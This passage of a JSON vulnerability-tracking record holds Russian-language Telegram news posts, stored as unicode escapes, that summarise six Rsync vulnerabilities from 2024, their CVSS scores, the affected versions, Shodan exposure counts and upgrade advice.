\u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T12:11:14.000000Z"}, {"uuid": "7db8e947-fd18-4680-96b5-d840fb7354d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/true_secator/6625", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 